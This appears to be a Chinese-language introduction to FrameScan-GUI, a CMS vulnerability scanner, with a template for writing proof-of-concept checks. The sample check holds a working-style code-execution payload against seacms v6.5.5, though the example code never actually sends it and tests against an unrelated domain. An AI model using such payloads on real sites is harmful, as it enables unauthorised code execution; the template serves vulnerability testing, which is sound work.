工具簡介
FrameScan-GUI是一款python3和Pyqt編寫的具有圖形化界面的cms漏洞檢測框架,是FrameScan的加強版。支持多種檢測方式,支持大多數CMS,可以自定義CMS類型及自行編寫POC。旨在幫助有安全經驗的安全工程師對已知的應用快速發現漏洞。
Github地址:https://github.com/qianxiao996/FrameScan-GUI
下載地址:https://github.com/qianxiao996/FrameScan-GUI/releases
支持平臺
- Windows
使用方法
自定義POC模板
以下爲POC模板,請儘量規範編寫。腳本中爲示例代碼。
#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
name: 漏洞名稱(禁止換行)控制在30字以內
referer: 漏洞地址(禁止換行)未知請填unknown
author: 作者名
description: 漏洞描述
'''
import sys
import requests
import warnings
def run(url):
#此處編輯檢測代碼
#示例代碼,請更改result內容,result[0]爲漏洞名稱,result[1]爲返回的內容,result[2]爲測試結果
result = ['seacms v6.5.5代碼執行漏洞','','']
headers = {
"User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"
}
payload = "searchtype=5&searchword={if{searchpage:year}&year=:as{searchpage:area}}&area=s{searchpage:letter}&letter=ert{searchpage:lang}&yuyan=($_SE{searchpage:jq}&jq=RVER{searchpage:ver}&&ver=[QUERY_STRING]));/*"
url_path = url + "/search.php?phpinfo();"
try:
data = requests.get(url_path, timeout=3,headers=headers, verify=False)
if data.status_code == 200 and 'phpinfo' in data.text:
result[2]= "存在"
result[1] = "URL:%s\nPOST:%s"%(url_path,payload)
else:
result[2] = "不存在"
except Exception as e:
# print (e)
result[2] ="不存在"
#這裏可設置未知,連接超時等,只有不存在不會顯示到結果中。
return result
#最後一定要返回一個帶有3個參數的列表。不然會出錯誤。
if __name__ == "__main__":
#此處不會調用
warnings.filterwarnings("ignore")
testVuln = run("http://baidu.com")
print(testVuln)
鳴謝
POC多數來源於[AngelSword]部分爲自己編寫,歡迎投遞POC
郵箱地址:[email protected]
警告!
請勿用於非法用途!否則自行承擔一切後果